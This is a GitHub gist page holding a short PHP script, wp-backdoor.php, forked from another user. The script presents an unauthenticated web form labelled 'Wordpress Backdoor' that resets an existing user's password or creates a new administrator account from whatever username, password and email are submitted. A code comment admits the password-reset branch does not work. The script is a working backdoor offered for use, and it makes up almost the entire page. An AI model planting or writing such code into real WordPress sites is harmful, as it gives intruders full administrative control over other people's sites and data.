Skip to content

Instantly share code, notes, and snippets.

@bryanwillis
Forked from mkropat/wp-backdoor.php
Created July 31, 2014 01:02
Show Gist options
  • Select an option

  • Save bryanwillis/4ac44d21809ef9df5cc2 to your computer and use it in GitHub Desktop.

Select an option

Save bryanwillis/4ac44d21809ef9df5cc2 to your computer and use it in GitHub Desktop.
<?php
require_once( dirname(__FILE__) . '/wp-load.php' );
require_once( ABSPATH . WPINC . '/registration.php' );
require_once( ABSPATH . '/wp-includes/pluggable.php' );
require_once( ABSPATH . '/wp-includes/general-template.php' );
require_once( ABSPATH . '/wp-includes/capabilities.php' );
if ($_POST) {
if ($user = get_userdatabylogin($_REQUEST['username'])) { // FIXME: doesn't work
wp_update_user(array("ID" => $user->ID, "user_pass" => $_REQUEST['password']));
} else {
$uid = wp_create_user($_REQUEST['username'], $_REQUEST['password'], $_REQUEST['email']);
$user = new WP_User($uid);
$user->set_role('administrator');
}
wp_redirect(wp_login_url());
exit();
}
?>
<html>
<head>
<title>Wordpress Backdoor</title>
</head>
<body>
<form method="POST">
<p><label for="username">Username:</label> <input type="text" name="username" /></p>
<p><label for="password">Password:</label> <input type="text" name="password" /></p>
<p><label for="email">Email:</label> <input type="text" name="email" /></p>
<p><input type="submit" value="Create User" /></p>
</form>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment